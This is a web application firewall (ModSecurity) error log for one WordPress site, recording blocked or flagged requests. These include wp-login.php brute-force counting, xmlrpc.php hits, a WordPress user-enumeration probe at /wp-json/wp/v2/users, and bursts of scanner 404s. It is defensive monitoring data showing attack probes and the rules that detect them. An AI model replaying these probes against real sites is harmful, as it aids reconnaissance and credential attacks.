[Wed May 13 18:40:03.872281 2026] [:error] [pid 27332:tid 27354] [client 43.165.65.117:57622] [client 43.165.65.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agRVA46Y5F_V9bmyC4bi9AAAAVQ"]
[Wed May 13 19:03:56.857721 2026] [:error] [pid 3259:tid 3262] [client 162.14.81.106:43826] [client 162.14.81.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agRanOWJB4YwcPVLeAovIAAAAQE"]
[Wed May 13 19:12:00.933133 2026] [:error] [pid 55744:tid 55764] [client 18.204.4.10:38046] [client 18.204.4.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.204.4.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRcgAwbbCCudzl3BmmmFwAAApA"]
[Wed May 13 19:12:02.667359 2026] [:error] [pid 55744:tid 55748] [client 18.204.4.10:38046] [client 18.204.4.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.204.4.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRcggwbbCCudzl3BmmmGAAAAoA"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 19:30:02.429257 2026] [:error] [pid 45289:tid 45295] [client 43.153.71.132:44548] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agRguoOEpVhwFIe0NzgqXwAAAYI"]
[Wed May 13 20:42:46.260529 2026] [:error] [pid 45289:tid 45305] [client 135.125.5.71:37334] [client 135.125.5.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.125.5.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRxxoOEpVhwFIe0Nzg4LAAAAYw"]
[Wed May 13 20:42:48.624199 2026] [:error] [pid 45289:tid 45295] [client 135.125.5.71:37334] [client 135.125.5.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.125.5.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRxyIOEpVhwFIe0Nzg4MQAAAYI"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 21:02:16.521363 2026] [:error] [pid 12338:tid 12380] [client 110.224.123.116:33633] [client 110.224.123.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.123.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR2WMUJ87l42ffPr4wDkAAAAEs"]
[Wed May 13 21:11:36.557633 2026] [:error] [pid 12338:tid 12372] [client 110.224.123.116:36876] [client 110.224.123.116] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agR4iMUJ87l42ffPr4wEwwAAAEM"]
[Wed May 13 21:12:24.630823 2026] [:error] [pid 12337:tid 12351] [client 110.224.123.116:37732] [client 110.224.123.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.123.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR4uA9W0E4_X4qzYUFfBwAAAAk"]
[Wed May 13 21:13:02.515087 2026] [:error] [pid 12338:tid 12386] [client 110.224.123.116:42263] [client 110.224.123.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.123.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR43sUJ87l42ffPr4wFBQAAAFE"]
[Wed May 13 21:13:36.710957 2026] [:error] [pid 12426:tid 12428] [client 110.224.123.116:48249] [client 110.224.123.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.123.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR5ALPw24RslX3LIcYetAAAAMA"]
[Wed May 13 21:14:14.433511 2026] [:error] [pid 12337:tid 12350] [client 110.224.123.116:44290] [client 110.224.123.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.123.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR5Jg9W0E4_X4qzYUFfGgAAAAg"]
[Wed May 13 21:15:01.254710 2026] [:error] [pid 12426:tid 12443] [client 165.22.99.169:40184] [client 165.22.99.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.99.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agR5VbPw24RslX3LIcYfSgAAAM8"]
[Wed May 13 21:15:03.196614 2026] [:error] [pid 12426:tid 12429] [client 165.22.99.169:40184] [client 165.22.99.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.99.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agR5V7Pw24RslX3LIcYfTwAAAME"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 21:15:53.106318 2026] [:error] [pid 12426:tid 12433] [client 103.209.18.106:63782] [client 103.209.18.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.209.18.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR5ibPw24RslX3LIcYfhgAAAMU"]
[Wed May 13 21:16:29.092290 2026] [:error] [pid 12337:tid 12363] [client 103.209.18.106:64432] [client 103.209.18.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.209.18.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR5rQ9W0E4_X4qzYUFfUAAAABU"]
[Wed May 13 21:17:02.280386 2026] [:error] [pid 12426:tid 12445] [client 103.209.18.106:65110] [client 103.209.18.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.209.18.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR5zrPw24RslX3LIcYf8gAAANE"]
[Wed May 13 21:17:34.573999 2026] [:error] [pid 12426:tid 12434] [client 103.209.18.106:49363] [client 103.209.18.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.209.18.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agR57rPw24RslX3LIcYgFAAAAMY"]
[Wed May 13 22:01:35.999851 2026] [:error] [pid 12426:tid 12434] [client 145.239.65.175:36468] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agSEP7Pw24RslX3LIcYwFQAAAMY"]
[Wed May 13 22:01:37.956717 2026] [:error] [pid 12426:tid 12445] [client 145.239.65.175:55824] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agSEQbPw24RslX3LIcYwFgAAANE"]
[Wed May 13 22:01:39.968156 2026] [:error] [pid 12426:tid 12447] [client 145.239.65.175:55838] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agSEQ7Pw24RslX3LIcYwGAAAANM"]
[Wed May 13 22:01:41.985855 2026] [:error] [pid 12340:tid 12398] [client 145.239.65.175:55852] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agSERcrxSPfvmN7BQjJ1MAAAAII"]
[Wed May 13 22:01:44.001812 2026] [:error] [pid 12338:tid 12385] [client 145.239.65.175:55864] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agSESMUJ87l42ffPr4wNdAAAAFA"]
[Wed May 13 22:01:45.866160 2026] [:error] [pid 12337:tid 12343] [client 145.239.65.175:53968] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agSESQ9W0E4_X4qzYUFl3gAAAAE"]
[Wed May 13 22:01:47.874720 2026] [:error] [pid 12340:tid 12398] [client 145.239.65.175:53980] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agSES8rxSPfvmN7BQjJ1PwAAAII"]
[Wed May 13 22:01:49.905055 2026] [:error] [pid 12340:tid 12408] [client 145.239.65.175:53982] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agSETcrxSPfvmN7BQjJ1RwAAAIw"]
[Wed May 13 22:01:51.757679 2026] [:error] [pid 12340:tid 12407] [client 145.239.65.175:53994] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agSET8rxSPfvmN7BQjJ1TwAAAIs"]
[Wed May 13 22:01:53.777910 2026] [:error] [pid 12340:tid 12411] [client 145.239.65.175:54006] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agSEUcrxSPfvmN7BQjJ1VgAAAI8"]
[Wed May 13 22:01:55.783437 2026] [:error] [pid 12426:tid 12446] [client 145.239.65.175:41964] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agSEU7Pw24RslX3LIcYwIAAAANI"]
[Wed May 13 22:01:57.801452 2026] [:error] [pid 12426:tid 12430] [client 145.239.65.175:41970] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agSEVbPw24RslX3LIcYwIwAAAMI"]
[Wed May 13 22:01:59.833109 2026] [:error] [pid 12340:tid 12416] [client 145.239.65.175:41974] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agSEV8rxSPfvmN7BQjJ1WgAAAJQ"]
[Wed May 13 22:02:01.698308 2026] [:error] [pid 12426:tid 12447] [client 145.239.65.175:41990] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agSEWbPw24RslX3LIcYwJQAAANM"]
[Wed May 13 22:02:03.703881 2026] [:error] [pid 12426:tid 12437] [client 145.239.65.175:42000] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agSEW7Pw24RslX3LIcYwKQAAAMk"]
[Wed May 13 22:02:05.711703 2026] [:error] [pid 12337:tid 12346] [client 145.239.65.175:52702] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agSEXQ9W0E4_X4qzYUFl_wAAAAQ"]
[Wed May 13 22:02:07.726422 2026] [:error] [pid 12426:tid 12439] [client 145.239.65.175:52708] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agSEX7Pw24RslX3LIcYwMQAAAMs"]
[Wed May 13 22:02:09.593039 2026] [:error] [pid 12426:tid 12431] [client 145.239.65.175:52722] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agSEYbPw24RslX3LIcYwNAAAAMM"]
[Wed May 13 22:02:11.593096 2026] [:error] [pid 12340:tid 12414] [client 145.239.65.175:52734] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agSEY8rxSPfvmN7BQjJ1YQAAAJI"]
[Wed May 13 22:02:13.603744 2026] [:error] [pid 12426:tid 12440] [client 145.239.65.175:52746] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agSEZbPw24RslX3LIcYwPAAAAMw"]
[Wed May 13 22:02:15.618181 2026] [:error] [pid 12340:tid 12401] [client 145.239.65.175:46176] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agSEZ8rxSPfvmN7BQjJ1ZAAAAIU"]
[Wed May 13 22:02:17.630859 2026] [:error] [pid 12338:tid 12382] [client 145.239.65.175:46186] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agSEacUJ87l42ffPr4wNogAAAE0"]
[Wed May 13 22:02:19.639282 2026] [:error] [pid 12338:tid 12369] [client 145.239.65.175:46198] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agSEa8UJ87l42ffPr4wNowAAAEA"]
[Wed May 13 22:02:21.513742 2026] [:error] [pid 12426:tid 12449] [client 145.239.65.175:46208] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agSEbbPw24RslX3LIcYwRQAAANU"]
[Wed May 13 22:02:23.534100 2026] [:error] [pid 12340:tid 12396] [client 145.239.65.175:46216] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "agSEb8rxSPfvmN7BQjJ1aAAAAIA"]
[Wed May 13 22:02:25.545797 2026] [:error] [pid 12338:tid 12371] [client 145.239.65.175:59418] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "agSEccUJ87l42ffPr4wNqAAAAEI"]
[Wed May 13 22:02:27.545666 2026] [:error] [pid 12337:tid 12346] [client 145.239.65.175:59430] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "agSEcw9W0E4_X4qzYUFmCwAAAAQ"]
[Wed May 13 22:02:29.418870 2026] [:error] [pid 12426:tid 12438] [client 145.239.65.175:59444] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "agSEdbPw24RslX3LIcYwUgAAAMo"]
[Wed May 13 22:02:31.412834 2026] [:error] [pid 12426:tid 12441] [client 145.239.65.175:59458] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "agSEd7Pw24RslX3LIcYwVgAAAM0"]
[Wed May 13 22:03:06.112202 2026] [:error] [pid 12340:tid 12412] [client 145.239.65.175:59462] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agSEmsrxSPfvmN7BQjJ1mgAAAJA"]
[Wed May 13 22:03:08.052444 2026] [:error] [pid 12426:tid 12433] [client 145.239.65.175:34132] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agSEnLPw24RslX3LIcYwrgAAAMU"]
[Wed May 13 22:03:10.057471 2026] [:error] [pid 12340:tid 12399] [client 145.239.65.175:34136] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agSEnsrxSPfvmN7BQjJ1nwAAAIM"]
[Wed May 13 22:03:12.077303 2026] [:error] [pid 12426:tid 12444] [client 145.239.65.175:34140] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agSEoLPw24RslX3LIcYwtAAAANA"]
[Wed May 13 22:03:14.074683 2026] [:error] [pid 12426:tid 12434] [client 145.239.65.175:34150] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agSEorPw24RslX3LIcYwtgAAAMY"]
[Wed May 13 22:03:16.074878 2026] [:error] [pid 12426:tid 12430] [client 145.239.65.175:36550] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agSEpLPw24RslX3LIcYwuwAAAMI"]
[Wed May 13 22:03:18.074360 2026] [:error] [pid 12338:tid 12385] [client 145.239.65.175:36556] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agSEpsUJ87l42ffPr4wNxQAAAFA"]
